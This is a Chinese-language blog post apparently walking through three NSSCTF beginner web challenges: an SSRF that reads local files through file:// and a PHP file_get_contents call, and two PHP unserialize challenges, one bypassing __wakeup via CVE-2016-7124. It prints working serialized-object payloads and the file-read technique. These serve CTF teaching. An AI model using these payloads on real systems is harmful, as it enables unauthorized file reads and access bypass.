nssctf web 入门(3)

这篇具有很好参考价值的文章主要介绍了nssctf web 入门(3)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

[NISACTF 2022]easyssrf

 [SWPUCTF 2021 新生赛]ez_unserialize

 [SWPUCTF 2021 新生赛]no_wakeup


这里通过nssctf的题单web安全入门来写,会按照题单详细解释每题。题单在NSSCTF中。

想入门ctfweb的可以看这个系列,之后会一直出这个题单的解析,题目一共有28题,打算写10篇。

[NISACTF 2022]easyssrf

[NISACTF 2022]easyssrf

nssctf web 入门(3)

curl网站 curl可以用于向远程服务器发送http请求,并获取服务器的响应

也就是从他的电脑上发送

我们可以通过file://来查看他的文件 file://是文件协议的url在url中使用file:///可以指定本地文件的路径,类似于在操作系统中通过绝对路径访问本地文件。

nssctf web 入门(3)

发现他说查看fl4g我们查看fl4g

nssctf web 入门(3) 

这里显示要我们查看ha1x1ux1u.php

nssctf web 入门(3)

<?php

highlight_file(__FILE__);  #通过highlight_file让当前代码显示到页面上
error_reporting(0);        #过滤错误信息

$file = $_GET["file"];     #通过get方法获取file变量并赋值给file
if (stristr($file, "file")){ #if判断 stristr用于匹配$file中含不含有file如果含有则输出你败了
  die("你败了.");
}

//flag in /flag
echo file_get_contents($file);  #通过file_get_contents读取$file 并通过echo输出到页面上

 这里因为通过file_get_content会读取file变量指定的文件,也就是我们通过指定flag文件通过file_get_contents打开并会输出到桌面 所以我们指定file的值为/flag

nssctf web 入门(3)

 [SWPUCTF 2021 新生赛]ez_unserialize

 文章来源地址https://www.toymoban.com/news/detail-419946.html

[SWPUCTF 2021 新生赛]ez_unserialize

nssctf web 入门(3)

 

nssctf web 入门(3)

 

f12发现disallow

Robots 协议(也称为爬虫协议、机器人协议等)的全称是 “网络爬虫排除标准”(Robots Exclusion Protocol),网站通过 Robots 协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。

disallow就是爬虫不能搜索的所以我们去看看robots

nssctf web 入门(3)

 nssctf web 入门(3)

 

<?php

error_reporting(0);      #通过error_reporting屏蔽报错
show_source("cl45s.php"); #将c145s.php的代码显示到页面上

class wllm{               #定义了一个wllm类

    public $admin;        #公共变量admin
    public $passwd;       #公共变量passwd


    public function __construct(){ #construct当类创建时调用
        $this->admin ="user";     #指定admin的值为user
        $this->passwd = "123456"; #指定passwd的值为123456
    }

        public function __destruct(){ #destruct当对象要销毁时调用
        if($this->admin === "admin" && $this->passwd === "ctf"){  #if判断 admin的值是不是admin passwd的值是不是ctf
            include("flag.php");  #include包含flag 当if判断成立时执行
            echo $flag;           #输出flag     
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];   #通过get方法获取p并赋值给p
unserialize($p);   #对p进行反序列话

?>

这里我们要序列话admin 值为admin passwd值为ctf

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

nssctf web 入门(3)

 [SWPUCTF 2021 新生赛]no_wakeup

[SWPUCTF 2021 新生赛]no_wakeup​​​​​​

nssctf web 入门(3)

nssctf web 入门(3) 

<?php

header("Content-type:text/html;charset=utf-8"); #用于发送http报头
error_reporting(0);    #屏蔽错误信息
show_source("class.php"); #将class.php的代码显示到页面上

class HaHaHa{  #定义一个叫HaHaHa的类


        public $admin;   #定义公共admin
        public $passwd;  #定义公共passwd

        public function __construct(){  #当类调用时执行
            $this->admin ="user";       #赋值admin user值
            $this->passwd = "123456";   #赋值passwd 123456值
        }

        public function __wakeup(){     #在反序列化后立即调用
            $this->passwd = sha1($this->passwd);  #将passwd的值进行哈希加密
        }

        public function __destruct(){   #当类快要结束时调用
            if($this->admin === "admin" && $this->passwd === "wllm"){  #if判断 admin的值是不是admin passwd的值是不是wllm
                include("flag.php");    #通过include包含flag.php
                echo $flag;             #输出flag
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];  #通过get方法获取到p并赋值给Letmeseesee
unserialize($Letmeseesee);  #反序列话Letmeseesee

?>

这里和上面一题差不多就是多了和wakeup对密码进行哈希加密,我们进行绕过处理

漏洞名字叫CVE-2016-7124

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

CVE-2016-7124绕过影响的版本PHP5 < 5.6.25;PHP7 < 7.0.10
若在对象的魔法函数中存在的__wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 

这里我们HaHaHa中有2个对象属性,我们保证序列化字符串中的对象属性大于2就可以绕过wakeup

nssctf web 入门(3)

 

 

 

到了这里,关于nssctf web 入门(3)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [SWPUCTF 2021 新生赛]babyrce(详解)

    提示:没有提示 文章目录 前言 一、pandas是什么? 二、使用步骤 1.引入库 2.读入数据 总结 最近遇到的事太霉了,又是做到一半,靶机拒绝连接我,搞得我做题都不自信了 回到正文 题目 如下(示例):  看了一下,就是cookie值admin等于1时,就能包含文件,行吧,那就等于吧

    2024年02月06日
    浏览(43)
  • [SWPUCTF 2021 新生赛]ez_unserialize

    题目在哪呢?查看源代码试试 User-agent: * Disallow: 什么东西呢 发现disallow Robots 协议(也称为爬虫协议、机器人协议等)的全称是 “网络爬虫排除标准”(Robots Exclusion Protocol),网站通过 Robots 协议告诉搜索引擎哪些页面可抓,哪些页面不能抓。 disallow就是爬虫不能搜索的所以

    2024年02月05日
    浏览(40)
  • nssctf web 入门(3)

    目录 [NISACTF 2022]easyssrf  [SWPUCTF 2021 新生赛]ez_unserialize  [SWPUCTF 2021 新生赛]no_wakeup 这里通过nssctf的题单web安全入门来写,会按照题单详细解释每题。题单在NSSCTF中。 想入门ctfweb的可以看这个系列,之后会一直出这个题单的解析,题目一共有28题,打算写10篇。 [NISACTF 2022]easys

    2023年04月21日
    浏览(59)
  • nssctf web 入门(7)

    这里通过nssctf的题单web安全入门来写,会按照题单详细解释每题。题单在NSSCTF中。 想入门ctfweb的可以看这个系列,之后会一直出这个题单的解析,题目一共有28题,打算写10篇。 [SWPUCTF 2021 新生赛]hardrce 这里过滤了所有的字母我们肯定要编码,同时又过滤了很多字符,我们发现没

    2023年04月18日
    浏览(34)
  • nssctf web 入门(6)

    这里通过nssctf的题单web安全入门来写,会按照题单详细解释每题。题单在NSSCTF中。 想入门ctfweb的可以看这个系列,之后会一直出这个题单的解析,题目一共有28题,打算写10篇。 目录 [SWPUCTF 2021 新生赛]caidao [SWPUCTF 2021 新生赛]easyrce [SWPUCTF 2021 新生赛]babyrce [SWPUCTF 2021 新生赛]

    2023年04月21日
    浏览(36)
  • [SWPUCTF 2021 新生赛]easy_md5

    由于php中存在==的弱类型比较,所以我们可以通过hash比较的缺陷去绕过 比如: 也就是只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会现转换字符串的类型,在进行比较,而在比较是因为两个数都是以0e开头会被认为是科学计数法,0e后面

    2024年02月05日
    浏览(39)
  • [SWPUCTF 2022 新生赛]ez_ez_php

    这段代码是一个简单的PHP文件处理脚本。让我们逐行进行分析: error_reporting(0);  - 这行代码设置了错误报告的级别为0,意味着不显示任何错误。 if (isset($_GET[\\\'file\\\'])) {  - 这行代码检查是否存在一个名为\\\"file\\\"的GET参数。 if ( substr($_GET[\\\"file\\\"], 0, 3) === \\\"php\\\" ) {  - 这行代码使用 su

    2024年02月12日
    浏览(39)
  • 2023年8月30日-[SWPUCTF 2021 新生赛]jicao

    包含了flag.php文件,设定了一个POST请求的id和GET请求的json 语句会对GET请求的数据进行json解码 如果id和json变量的值都等于设定字符串,打印flag get传参数 的时候,直接 ?参数名=参数值 。 post传参数 可以利用hackbar插件。

    2024年02月10日
    浏览(43)
  • 字符型注入([SWPUCTF 2021 新生赛]easy_sql)

    拿到题目,查看源码,可知是要输入参数wllm。 输入参数/?wllm=1,得到会显 继续输入参数/?wllm=1\\\',报错,确定为字符型漏洞 1.查看字段列表,发现在字段4报错,确定为3列 2.查看回显 3.查询数据库名(test_db) 4.查看test_db库的表(users) 5.查询字段 6.出现flag字段,查看flag字段的内容

    2024年02月09日
    浏览(39)
  • CTF 全讲解:[SWPUCTF 2021 新生赛]Do_you_know_http

    项目 描述 搜索引擎 Bing 、 Google AI 大模型 文心一言 、 通义千问 、 讯飞星火认知大模型 、 ChatGPT MDN Web Docs https://developer.mozilla.org/zh-CN/ 项目 描述 HackBar 1.2.2 浏览器 Chrome 项目 描述 得分项 HTTP 请求头 题目来源 NSSCTF 雾现 访问题目首页 hello.php 得到如下界面: 意在希望我们使

    2024年02月08日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包